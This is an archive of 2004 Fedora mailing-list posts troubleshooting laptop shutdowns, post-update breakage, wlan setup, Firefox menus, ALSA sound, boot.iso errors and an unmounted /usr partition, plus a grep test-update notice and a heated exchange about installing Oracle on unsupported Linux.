alaxsxaq at gmail.com (Glen Staufer) Date: Wed, 24 Nov 2004 09:41:45 -0500 Subject: Laptop suddenly turned off In-Reply-To: <38f00b2a041123145562799ef8@mail.gmail.com> References: <38f00b2a041123145562799ef8@mail.gmail.com> Message-ID: On Tue, 23 Nov 2004 23:55:47 +0100, Darek Borkowski wrote: > I have some problems sinc FC3test2. With every kernel since test2 > sometimes laptop plugged to AC outlet or battery supplied turns off. > It works at random times, but today, after upgrading to > 2.6.9-1.681_FC3 > the laptop turned off 4 times in 1 hour. It is too much. > I've just been working in gnome (configuring sound or network) when it > took place. > How to fight this? I have now FC3 final (clean install). > Check if your system fan is working correctly. I've been having problems with my system fan running full blast since going to FC3 final and have been using the fan control program to set the fan low manually after boot. Fiddling around with the program settings, I set the fans off unintentionally. A while later, the system shut off without warning when the CPU temp got too high. Glenn From mem0tech at cableone.net Wed Nov 24 15:57:46 2004 From: mem0tech at cableone.net (Mike Martin) Date: Wed, 24 Nov 2004 09:57:46 -0600 Subject: That last set of updates has upset my box! In-Reply-To: <1101253336.3346.29.camel@localhost.localdomain> References: <1101253336.3346.29.camel@localhost.localdomain> Message-ID: <41A4AF7A.2000702@cableone.net> Paul wrote: > I'm now running on a machine without selinux and an older xorg-x11. > > Anyone else seeing this? > Yes, My machine completely borked after updating this last Sunday evening (the 21st). It was running fine with a clean FC3 install and all was well. It started with the eggcups/volume-control issue and went down hill from there. Evolution quit working. I couldn't use cdrecord either and actually made my machine panic. Gnome finally borked and I was dead in the water - I couldn't even boot the kernel. But as to what the heck happened, I can't figure it out. I booted with Knoppix and scanned all the logs and such. It appears to have started when I started running "sudo /etc/cron.daily/prelink" to fix the eggcups issue. From the point on the system was puking. Odd. I'm reinstalling fresh FC3 and am following Bugzilla. Thanks, -m From kyrre at solution-forge.net Wed Nov 24 16:23:32 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Wed, 24 Nov 2004 17:23:32 +0100 Subject: Laptop suddenly turned off In-Reply-To: References: <38f00b2a041123145562799ef8@mail.gmail.com> Message-ID: <1101313411.2667.1.camel@kyrre> ons, 24.11.2004 kl. 15.41 skrev Glen Staufer: > On Tue, 23 Nov 2004 23:55:47 +0100, Darek Borkowski wrote: > > I have some problems sinc FC3test2. With every kernel since test2 > > sometimes laptop plugged to AC outlet or battery supplied turns off. > > It works at random times, but today, after upgrading to > > 2.6.9-1.681_FC3 > > the laptop turned off 4 times in 1 hour. It is too much. > > I've just been working in gnome (configuring sound or network) when it > > took place. > > How to fight this? I have now FC3 final (clean install). > > > > Check if your system fan is working correctly. I've been having > problems with my system fan running full blast since going to FC3 > final and have been using the fan control program to set the fan low > manually after boot. Fiddling around with the program settings, I set > the fans off unintentionally. A while later, the system shut off > without warning when the CPU temp got too high. > > Glenn Fan control program? You mean the /proc/acpi/fan interface? From perbj at stanford.edu Wed Nov 24 17:55:37 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Wed, 24 Nov 2004 09:55:37 -0800 Subject: That last set of updates has upset my box! In-Reply-To: <41A4AF7A.2000702@cableone.net> References: <1101253336.3346.29.camel@localhost.localdomain> <41A4AF7A.2000702@cableone.net> Message-ID: <1101318938.3435.4.camel@localhost.localdomain> On Wed, 2004-11-24 at 09:57 -0600, Mike Martin wrote: > But as to what the heck happened, I can't figure it out. I booted with > Knoppix and scanned all the logs and such. It appears to have started > when I started running "sudo /etc/cron.daily/prelink" to fix the eggcups > issue. From the point on the system was puking. Odd. > > I'm reinstalling fresh FC3 and am following Bugzilla. Ugh. Apparently there's a bug in prelink that is hopefully fixed by an update in the updates-testing repository: http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/i386/prelink-0.3.3-0.fc3.i386.rpm Try installing that and running the /etc/cron.daily/prelink script before taking that sledgehammer approach of a complete reinstall... /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From trulsg at broadpark.no Wed Nov 24 18:13:35 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Wed, 24 Nov 2004 19:13:35 +0100 Subject: Upgrade fc2 ==> fc3 solving wlan problem Message-ID: <41A4CF4F.7040608@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I am planning an upgrade from fc2 to fc3 using the cds. I am connecting to the internet using a cisco wlan pcmci card. FC2 configures this in av very strange way as setting it is up as an ethernet card and not a wireless. In addition it creates 2 wireless devices nick named eth0:1 and eth0:3 - these are not checked but still activated. As a consequence ~ I have a problem in configuring the wlan correctly and are unable to set the encryption key. I would like remove all traces of this card from my fc2 prior to the upgrade and do new hw install of the card incl a fresh configuration. What is the best/safest way to remove all signes of this card from fc2? Is it sufficient to delete all devices from the network configuration or should I edit some config files. If the latter, which files? thanks in advance, Truls Gulbrandsen -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBpM9PickK29LSyG8RAjx9AJ9Rf41BxHZCe5nmSd0nvEWkCkSLDACgknss FvRLvvewdpk2Jw4rCOgWlG4= =6lE7 -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From trulsg at broadpark.no Wed Nov 24 18:21:21 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Wed, 24 Nov 2004 19:21:21 +0100 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <1101298496.26883.0.camel@sunny.rhrk.uni-kl.de> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> <41A43DF2.7020505@gmx.de> <1101286348.25017.12.camel@sunny.rhrk.uni-kl.de> <41A46777.8030503@taipang.com> <1101298496.26883.0.camel@sunny.rhrk.uni-kl.de> Message-ID: <41A4D121.1080302@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Joachim Backes wrote: | On Wed, 2004-11-24 at 15:50 +0500, Alor wrote: | |>Joachim Backes wrote: |> |> |>>On Wed, 2004-11-24 at 08:53 +0100, shrek-m at gmx.de wrote: |>> |>> |>> |>>>Joachim Backes wrote: |>>> |>>> |>>> |>>> |>>>>firefox-1.0-2.fc3 |>>>> |>>>> |>>>> |>>> |>>>$ lftp download.fedora.redhat.com:~> |>>>ls -l pub/fedora/linux/core/updates/3/i386/firefox-1.0-2.fc3.i386.rpm |>>>-rw-r--r-- 1 ftp ftp 8508962 Nov 11 20:14 |>>>firefox-1.0-2.fc3.i386.rpm |>>> |>>> |>> |>>Did not solve my problem. The behaviour still remains odd. |>>In mozilla, the pulldown menus work properly. |>> |>> |>> |>> |>>>http://www.redhat.com/mailman/listinfo/fedora-list |>>> |>>>-- |>>>shrek-m |>>> |>>> |>>> |> |>firefox-1.0-2.i386.rpm in development folder has no this problem. |> |>Alor. | | | Hi, Alor, I'm sorry, but you are not right, the problem remains. | How can anyone possibly make sense out of a posting like this? For others to make use of the problem solving in this forum it is a lot easier to read the question first and the answers below. Regards, Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBpNEhickK29LSyG8RArwTAKCOAOfmxvSta6/UIL5NA7yjq0+FvQCeICiR KI3ZUtRAukx5g8ERdZ2S6Hc= =Gtzi -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... 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If the latter, which files? find /etc -type f -name "*eth*" -print edit /etc/modprobe.conf edit /etc/sysconfig/hwconf Satish From gene.heskett at verizon.net Wed Nov 24 20:13:43 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Wed, 24 Nov 2004 15:13:43 -0500 Subject: Firefox-1.0-2.fc3 in FC3 In-Reply-To: <1101302878.26883.21.camel@sunny.rhrk.uni-kl.de> References: <1101281180.25017.2.camel@sunny.rhrk.uni-kl.de> <41A48569.3090203@taipang.com> <1101302878.26883.21.camel@sunny.rhrk.uni-kl.de> Message-ID: <200411241513.43666.gene.heskett@verizon.net> On Wednesday 24 November 2004 08:27, Joachim Backes wrote: >On Wed, 2004-11-24 at 17:58 +0500, Alor wrote: >> Joachim Backes wrote: >> >On Wed, 2004-11-24 at 15:50 +0500, Alor wrote: >> >>Joachim Backes wrote: >> >>>On Wed, 2004-11-24 at 08:53 +0100, shrek-m at gmx.de wrote: >> >>>>Joachim Backes wrote: >> >>>>>firefox-1.0-2.fc3 [...] >> I'm using FC3 and installed >> rpm -Uhv firefox-1.0-2.i386.rpm >> and have no any problem with pulldown menus at all. >> Can you describe your problem? > >See: When calling "www.macrovision.com", then at the top of this web >page you will see a bar (Solutions by Industry,...) containing pull >down menus. The pulldownmenus a arising if you traverse this bar. >But these pulldown menus are transparent, that is: their background >is empty so they cannot be properly read. > >Hope this explains what I mean. > >> Alor. My guess is that somehow, your choices of fonts and colors may have resulted in similar colors for both foreground and background making it difficult if not impossible to read. FF-1.0 for FC2 works very well on the quoted site, I just checked. More than likely, installing a newer version will not fix this as generally, your prefs remain untouched if the pre-exist. -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.29% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From trulsg at broadpark.no Wed Nov 24 20:24:28 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Wed, 24 Nov 2004 21:24:28 +0100 Subject: Upgrade fc2 ==> fc3 solving wlan problem In-Reply-To: References: <41A4CF4F.7040608@broadpark.no> Message-ID: <41A4EDFC.4050406@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Satish Balay wrote: | On Wed, 24 Nov 2004, Truls Gulbrandsen wrote: | | |>I am planning an upgrade from fc2 to fc3 using the cds. | | | looks like 'fedora-list' topic - not 'fedora-test-list' | | |>What is the best/safest way to remove all signes of this card from fc2? |>Is it sufficient to delete all devices from the network configuration or |>should I edit some config files. If the latter, which files? | | | find /etc -type f -name "*eth*" -print | edit /etc/modprobe.conf | edit /etc/sysconfig/hwconf | | Satish | Sorry, I picked the wrong address - but thanks for your help. Regards, Truls -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBpO38ickK29LSyG8RAv3rAJ9MYfDoA6xrt3IFAyhXtgzSoWqA1ACfTIlG 0p0eRjT9FtiAreZTd65+jo4= =a8wD -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... Name: trulsg.vcf Type: text/x-vcard Size: 237 bytes Desc: not available URL: From henryhartley at westat.com Wed Nov 24 20:28:43 2004 From: henryhartley at westat.com (Henry Hartley) Date: Wed, 24 Nov 2004 15:28:43 -0500 Subject: Firefox-1.0-2.fc3 in FC3 Message-ID: <446DDE75CFC7E1438061462F85557B0F075A5A51@remail2.westat.com> On Wednesday 24 November 2004 15:14, Gene Heskett wrote: >> On Wednesday 24 November 2004 08:27, Joachim Backes wrote: >> >See: When calling "www.macrovision.com", then at the top of this web >> >page you will see a bar (Solutions by Industry,...) containing pull >> >down menus. The pulldownmenus a arising if you traverse this bar. >> >But these pulldown menus are transparent, that is: their background >> >is empty so they cannot be properly read. >> >> My guess is that somehow, your choices of fonts and colors may have >> resulted in similar colors for both foreground and background making >> it difficult if not impossible to read. Specifically, click on Tools | Options, then, General and Fonts & Colors. If you have "Always use my Colors" checked, try unchecking it. I was able to duplicate the behavior described simply by checking that box. -- Henry From twaugh at redhat.com Wed Nov 24 21:13:32 2004 From: twaugh at redhat.com (Tim Waugh) Date: Wed, 24 Nov 2004 21:13:32 +0000 Subject: Fedora Core 3 Test Update: grep-2.5.1-31.1 Message-ID: <20041124211332.GU3459@redhat.com> --------------------------------------------------------------------- Fedora Test Update Notification FEDORA-2004-463 2004-11-24 --------------------------------------------------------------------- Product : Fedora Core 3 Name : grep Version : 2.5.1 Release : 31.1 Summary : The GNU versions of grep pattern matching utilities. Description : The GNU versions of commonly used grep utilities. Grep searches through textual input for lines which contain a match to a specified pattern and then prints the matching lines. GNU's grep utilities include grep, egrep and fgrep. You should install grep on your system, because it is a very useful utility for searching through text. --------------------------------------------------------------------- Update Information: Please test this updated grep package and report any findings, positive or negative, as a comment on this bug report: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=140781 The aim is to improve performance when processing UTF-8 input, without causing any regressions (either in correctness or performance) with any character encoding. --------------------------------------------------------------------- * Wed Nov 24 2004 Tim Waugh 2.5.1-31.1 - Fixed a bug in the fgrep patch, exposed by the dfa-optional patch (bug #138558). - Applied patch from Karsten Hopp to fix background colour problems with --color output (bug #138913). - Automatically disable DFA when processing multibyte input. GREP_USE_DFA environment variable overrides. - Remove mb-caching hack. - Better multibyte handling in EGexecute() and Fexecute(). - Don't need regex.c changes in grep-2.5-i18n.patch. --------------------------------------------------------------------- This update can be downloaded from: http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/ cea90779ae27dcd4c27790f65976e082 SRPMS/grep-2.5.1-31.1.src.rpm 19cd49eef88a130041161e23eb896dc0 x86_64/grep-2.5.1-31.1.x86_64.rpm a9d56e1f66184ecf1c3ab25e058cd2f1 x86_64/debug/grep-debuginfo-2.5.1-31.1.x86_64.rpm 06e4d27367080dfca4333b28d739d00e i386/grep-2.5.1-31.1.i386.rpm 51d51bff042de4f3d50465f48edbbd1f i386/debug/grep-debuginfo-2.5.1-31.1.i386.rpm This update can also be installed with the Update Agent; you can launch the Update Agent with the 'up2date' command. You may need to edit your up2date channels configuration. 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It is even stranger because it has good battery, so when I unplug AC cable I can easily work on it still about 3-4 hours. regards Darek Borkowski From Axel.Thimm at ATrpms.net Thu Nov 25 00:51:48 2004 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Thu, 25 Nov 2004 01:51:48 +0100 Subject: No sound on laptop, continued In-Reply-To: <38f00b2a04112314517b643fa1@mail.gmail.com> References: <38f00b2a04112314517b643fa1@mail.gmail.com> Message-ID: <20041125005148.GA7509@neu.nirvana> On Tue, Nov 23, 2004 at 11:51:47PM +0100, Darek Borkowski wrote: > I got it almost working. I've installed alsa-driver rpm form > atrpms.net and then started alsaconfig, which found my card in > database, added some lines to /etc/modprobe.conf and started alsa > (/etc/init.d/alsasound start). Then I had to pull up sliders in > alsamixer and I have sound, but I have to do this every time I boot my > laptop. Make sure you have in /etc/modprobe.conf something similar to alias snd-card-0 snd-intel8x0 install snd-intel8x0 /sbin/modprobe --ignore-install snd-intel8x0 && /usr/sbin/alsactl restore >/dev/null 2>&1 || : remove snd-intel8x0 { /usr/sbin/alsactl store >/dev/null 2>&1 || : ; }; /sbin/modprobe -r --ignore-remove snd-intel8x0 (replace snd-intel8x0 with your sound driver). > I added /etc/init.d/alsasound et the end of rclocal script, but this > deas not work without running alsaconfig. There are two things: > 1.alsamixer and gnome-mixer do not save volume levels (I always get > muted PCM and phones sliders (both volume 0% and mute checkbox)). > 2.Before starting alsaconf when I want to play some music with e.g. > aplay I got error: codec read 0: semaphore is not ready for register > 0x2c > > Darek Borkowski > -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... 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Bugzilla it, or add it to the Wishlist at: http://fedora.linux.duke.edu/wiki/index.cgi/Wishlist -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From byte at aeon.com.my Wed Nov 24 13:34:04 2004 From: byte at aeon.com.my (Colin Charles) Date: Wed, 24 Nov 2004 21:34:04 +0800 Subject: fedora-amd64 list? In-Reply-To: References: <1101111031.2813.16.camel@laptop.fenrus.org> Message-ID: <1101303244.12254.42.camel@localhost.localdomain> On Mon, 2004-11-22 at 07:53 -0600, Justin Conover wrote: > > Like amd64-list at redhat.com ?? > > > > that already exists ;) > > > > Yes, like that :P > > Someone should create a link on: > > http://fedora.redhat.com/participate/communicate/ But it isn't fedora specific. If there's consensus however, we can fix that... -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From byte at aeon.com.my Wed Nov 24 13:34:48 2004 From: byte at aeon.com.my (Colin Charles) Date: Wed, 24 Nov 2004 21:34:48 +0800 Subject: http://fedoraproject.org/people/rss20.xml broken In-Reply-To: References: Message-ID: <1101303288.12254.44.camel@localhost.localdomain> On Mon, 2004-11-22 at 11:33 +0100, Lars wrote: > XML Parsing Error: not well-formed > Location: http://fedoraproject.org/people/rss20.xml > Line Number 10, Column 65: > http://lab.nitcom.com/galania/modules.php?op=modload&name=News&file=article&sid=33 > ----------------------------------------------------------------^ > > a little fixup would be great Thanks for that. will take a gander and if this is still offending later, I'll remove the feed temporarily Its those darned php blogs... -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From ggw at wolves.durham.nc.us Thu Nov 25 03:19:42 2004 From: ggw at wolves.durham.nc.us (Gregory Woodbury) Date: Wed, 24 Nov 2004 22:19:42 -0500 Subject: rawhide boot.iso won't boot Message-ID: <20041125031942.GA16169@wolves.durham.nc.us> The 2004-11-24 boot.iso won't boot for me. It reports something like ***glibc detected**** next wrong size...... and halts the boot process. Is it just my machine? -- G.Wolfe Woodbury `- -' RHCT U The Line Eater is a boojum! From kyrre at solution-forge.net Thu Nov 25 21:39:50 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Thu, 25 Nov 2004 22:39:50 +0100 Subject: Laptop suddenly turned off In-Reply-To: <38f00b2a041124134428a72bc6@mail.gmail.com> References: <38f00b2a041123145562799ef8@mail.gmail.com> <38f00b2a041124134428a72bc6@mail.gmail.com> Message-ID: <1101418789.3666.4.camel@kyrre> ons, 24.11.2004 kl. 22.44 skrev Darek Borkowski: > Fan is working OK. I'm testing it (FC3) again now. I think the power > offs happened when one of gnome programs died. Several times > yeseterday I had evolution 2.0 became zombie. And then laptop powered > off. It is even stranger because it has good battery, so when I unplug > AC cable I can easily work on it still about 3-4 hours. > > regards > > Darek Borkowski I have heard about batstatt-aplet triggering a kernel bug on certain hardware, killing the pc. Having the CPU/mem monitor in the taskbar is also *very* usefull for debugging :) You can (probably) read CPU temp from /proc/acpi/processor/... just use xterm and cat ;) From ggw at wolves.durham.nc.us Fri Nov 26 01:23:48 2004 From: ggw at wolves.durham.nc.us (Gregory Woodbury) Date: Thu, 25 Nov 2004 20:23:48 -0500 Subject: boot.iso fails on me (still) Message-ID: <20041126012348.GA25816@wolves.durham.nc.us> The boot.iso of 2004-11-25 still fails for me. Here is the error message I copied off the screen: . . running install... running /sbin/loader *** glibc detected *** invalid next size (fast): 0x08dd16768 *** install exited abnormally -- received signal 6 (sending signals.....) . . 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Bush, Aug 2004 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From gcarter at aesgi.com Fri Nov 26 20:21:13 2004 From: gcarter at aesgi.com (Gregory G Carter) Date: Fri, 26 Nov 2004 14:21:13 -0600 Subject: Help Installing Oracle 10g on Fedora In-Reply-To: <1186.80.108.1.175.1100720829.squirrel@80.108.1.175> References: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> <419BA09F.8080005@aesgi.com> <1186.80.108.1.175.1100720829.squirrel@80.108.1.175> Message-ID: <41A79039.50203@aesgi.com> nodata wrote: >>Only install the Oracle database on a validated copy of Linux for which >>it is designed if you want to stay out of jail. >> >> > >Good points, but this is a public forum, I doubt Red Hat will be liable >for non-staff comments on this list. Still, http://swpat.ffii.org/ *ahem* > >Are you a lawyer? > > Worse, I am afraid. I am a practicing software engineer in the USA. > > >>I also advise anyone to please take this sort of conversation off the >>list please, Redhat has and WILL have enough legal problems in the >>upcomming year, they don't need to be sued by Oracle as well. >> >>-gc >> >> > >Who will Red Hat have legal problems with in the coming year (or is this >speculation)? > > > Redhat WILL BE SUED, and I hope you guys have a ton of cash because the hammer is going to come down. -gc From gcarter at aesgi.com Fri Nov 26 20:28:48 2004 From: gcarter at aesgi.com (Gregory G Carter) Date: Fri, 26 Nov 2004 14:28:48 -0600 Subject: Help Installing Oracle 10g on Fedora In-Reply-To: References: <1100687321.2823.4.camel@bl-uits-lionking.uits.indiana.edu> <419BA09F.8080005@aesgi.com> Message-ID: <41A79200.1050405@aesgi.com> Glen Staufer wrote: >On Wed, 17 Nov 2004 13:03:59 -0600, Gregory G Carter wrote: > > >>Bad question to ask. >> >>What you are asking will land anyone in here in jail in a country with >>software patents or part of the trading block of the USA and requires >>reverse engineering the installer, and certain sections of the software >>to determine how it installs itself. >> >>That is highly illegal, and it violates the software agreement you >>agreed to when you downloaded 10g anyway. >> >>Only install the Oracle database on a validated copy of Linux for which >>it is designed if you want to stay out of jail. >> >> >> > >There isn't any language that I can see in the download click-through >license that specifically prohibits installing Oracle software on an >unsupported platform. If you download the software and use the >'-ignoreSysPrereqs' option or edit the oraparam.ini file, are you >reverse engineering anything? I wouldn't think so. > > That isn't the language the poster used though and I quote: "Any ideas about how to fool the Oracle Universal Installer into thinking it is on a supported platform?" Ideas such as these would require understanding how the installer works. That is and of itself is illegal. No undestanding is granted without a license, and it doesn't have to specifically spelled out if you live in the US and attempt to do this. It is ORACLE's IP and you do NOT have a right to ANY UNDERSTANDING OF IT AT ALL. Why do you think people who patent a software algorithm can sue people who come up with the same solution because it is so obvious, just by accident. JUST because you came up with the same solution independantly, DOES NOT EXCUSE YOU from breaching IP. You must pay, and you WILL PAY DEARLY. You have no RIGHTS WHATSOEVER when you develop software in the USA or its trading block countries UNLESS: 1) You have a patent that no one can defeat. 2) You have no patent, but argue your case as precedent successfully in a court, that you actually orginally invented the process and own it. Both require BILLIONS to defend. Good Luck and God Speed. -gc PS: Or move to Europe. >I'm not a lawyer, but if Oracle really was concerned about this whole >issue, the websites with specific infomation on doing Fedora or Gentoo >installs and the like would be served with take-down notices pretty >quickly. Oracle has no shortage of lawyers; just bigger fish to fry >so to speak. > >--Glenn Stauffer > > > From mattdm at mattdm.org Fri Nov 26 21:13:37 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Fri, 26 Nov 2004 16:13:37 -0500 Subject: /usr has vanished completely! In-Reply-To: <1101497614.3200.3.camel@localhost.localdomain> References: <1101497614.3200.3.camel@localhost.localdomain> Message-ID: <20041126211337.GA19170@jadzia.bu.edu> On Fri, Nov 26, 2004 at 07:33:34PM +0000, Paul wrote: > My entire /usr directory is completely empty! It was working, I did a > reset and on restart, I started to get all sorts of errors, the drives > didn't mount and on checking, /usr is devoid of absolutely everything! > Does anyone know if there is anyway back from this catastrophe? > Everything else is there, just completely nothing in /usr! Did you have that as a separate partition? -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From alan at redhat.com Fri Nov 26 21:14:42 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 26 Nov 2004 16:14:42 -0500 Subject: /usr has vanished completely! In-Reply-To: <1101497614.3200.3.camel@localhost.localdomain> References: <1101497614.3200.3.camel@localhost.localdomain> Message-ID: <20041126211442.GB2962@devserv.devel.redhat.com> On Fri, Nov 26, 2004 at 07:33:34PM +0000, Paul wrote: > My entire /usr directory is completely empty! It was working, I did a > reset and on restart, I started to get all sorts of errors, the drives > didn't mount and on checking, /usr is devoid of absolutely everything! Is /usr empty because it didn't mount. Don't panic until you've checked the partition tables and fsck From paul at all-the-johnsons.co.uk Fri Nov 26 21:46:42 2004 From: paul at all-the-johnsons.co.uk (Paul F. Johnson) Date: Fri, 26 Nov 2004 21:46:42 +0000 Subject: /usr has vanished completely! In-Reply-To: <20041126211442.GB2962@devserv.devel.redhat.com> References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> Message-ID: <20041126214642.M8496@all-the-johnsons.co.uk> Hi, > On Fri, Nov 26, 2004 at 07:33:34PM +0000, Paul wrote: > > My entire /usr directory is completely empty! It was working, I did a > > reset and on restart, I started to get all sorts of errors, the drives > > didn't mount and on checking, /usr is devoid of absolutely everything! > > Is /usr empty because it didn't mount. Don't panic until you've checked > the partition tables and fsck Everything other than /usr is fine. The only thing which doesn't look right is that in fstab, the line for user is LABEL=/usr, whereas everything else is /var (and so on). How do I check the partition tables? Remember, I have nothing in /usr TTFN Paul -- Get your free @ukpost.com account now http://www.ukpost.com/ From kms at passback.co.uk Fri Nov 26 22:04:24 2004 From: kms at passback.co.uk (Keith Sharp) Date: Fri, 26 Nov 2004 22:04:24 +0000 Subject: /usr has vanished completely! In-Reply-To: <20041126214642.M8496@all-the-johnsons.co.uk> References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> Message-ID: <1101506664.20276.26.camel@animal> On Fri, 2004-11-26 at 21:46 +0000, Paul F. Johnson wrote: > Hi, > > > On Fri, Nov 26, 2004 at 07:33:34PM +0000, Paul wrote: > > > My entire /usr directory is completely empty! It was working, I did a > > > reset and on restart, I started to get all sorts of errors, the drives > > > didn't mount and on checking, /usr is devoid of absolutely everything! > > > > Is /usr empty because it didn't mount. Don't panic until you've checked > > the partition tables and fsck > > Everything other than /usr is fine. The only thing which doesn't look right is > that in fstab, the line for user is LABEL=/usr, whereas everything else is > /var (and so on). > > How do I check the partition tables? Remember, I have nothing in /usr All the tools you would need in this sort of situation are in /sbin and /bin. Check to see what partitions should be mounted where: /bin/cat /etc/fstab And then look and see what you actually have mounted: /bin/cat /proc/mounts What you discover will define what you need to do next... Keith. From alan at redhat.com Fri Nov 26 22:29:03 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 26 Nov 2004 17:29:03 -0500 Subject: /usr has vanished completely! In-Reply-To: <20041126214642.M8496@all-the-johnsons.co.uk> References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> Message-ID: <20041126222903.GA27936@devserv.devel.redhat.com> On Fri, Nov 26, 2004 at 09:46:42PM +0000, Paul F. Johnson wrote: > Everything other than /usr is fine. The only thing which doesn't look right is > that in fstab, the line for user is LABEL=/usr, whereas everything else is > /var (and so on). That looks fairly sane. fdisk /dev/hda will show you the partition tables where swap is and which one is likely /usr From gene.heskett at verizon.net Fri Nov 26 22:30:56 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Fri, 26 Nov 2004 17:30:56 -0500 Subject: /usr has vanished completely! In-Reply-To: <20041126214642.M8496@all-the-johnsons.co.uk> References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> Message-ID: <200411261730.56375.gene.heskett@verizon.net> On Friday 26 November 2004 16:46, Paul F. Johnson wrote: >Hi, > >> On Fri, Nov 26, 2004 at 07:33:34PM +0000, Paul wrote: >> > My entire /usr directory is completely empty! It was working, I >> > did a reset and on restart, I started to get all sorts of >> > errors, the drives didn't mount and on checking, /usr is devoid >> > of absolutely everything! >> >> Is /usr empty because it didn't mount. Don't panic until you've >> checked the partition tables and fsck > >Everything other than /usr is fine. The only thing which doesn't > look right is that in fstab, the line for user is LABEL=/usr, > whereas everything else is /var (and so on). > >How do I check the partition tables? Remember, I have nothing in > /usr > >TTFN > >Paul > This sounds as if you had it setup with labels, but are not using an initrd now, which is required to run labels as opposed to direct pointers such as /dev/hda7. If you know which partition was the one that has the /usr on it, and you can do that with experimental mounts to /mnt/someplace, (after a mkdir /mnt/someplace) then mount -t ext3 /dev/hda1 /mnt/someplace, then do an ls on it and see if thats /usr, if not, umount it, and try /dev/hda2 etc until you find the /usr partition. When you find it, get rid of that LABEL= crap in your fstab and use that instead. When its fixed, reboot. >-- >Get your free @ukpost.com account now >http://www.ukpost.com/ -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.29% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From bpm at ec-group.com Fri Nov 26 23:34:15 2004 From: bpm at ec-group.com (Brian Millett) Date: Fri, 26 Nov 2004 17:34:15 -0600 (CST) Subject: /usr has vanished completely! In-Reply-To: <200411261730.56375.gene.heskett@verizon.net> References: <1101497614.3200.3.camel@localhost.localdomain> <20041126211442.GB2962@devserv.devel.redhat.com> <20041126214642.M8496@all-the-johnsons.co.uk> <200411261730.56375.gene.heskett@verizon.net> Message-ID: <32783.68.92.85.103.1101512055.squirrel@webmail.ec-group.com> > On Friday 26 November 2004 16:46, Paul F. Johnson wrote: >>Hi, >> >>> On Fri, Nov 26, 2004 at 07:33:34PM +0000, Paul wrote: >>> > My entire /usr directory is completely empty! It was working, I did >>> a reset and on restart, I started to get all sorts of >>> > errors, the drives didn't mount and on checking, /usr is devoid of >>> absolutely everything! >>> >>> Is /usr empty because it didn't mount. Don't panic until you've >>> checked the partition tables and fsck >> >>Everything other than /usr is fine. The only thing which doesn't >> look right is that in fstab, the line for user is LABEL=/usr, >> whereas everything else is /var (and so on). >> >>How do I check the partition tables? Remember, I have nothing in >> /usr >> >>TTFN >> >>Paul >> > This sounds as if you had it setup with labels, but are not using an > initrd now, which is required to run labels as opposed to direct > pointers such as /dev/hda7. If you know which partition was the one > that has the /usr on it, and you can do that with experimental mounts > to /mnt/someplace, (after a mkdir /mnt/someplace) then mount -t > ext3 /dev/hda1 /mnt/someplace, then do an ls on it and see if > thats /usr, if not, umount it, and try /dev/hda2 etc until you find the > 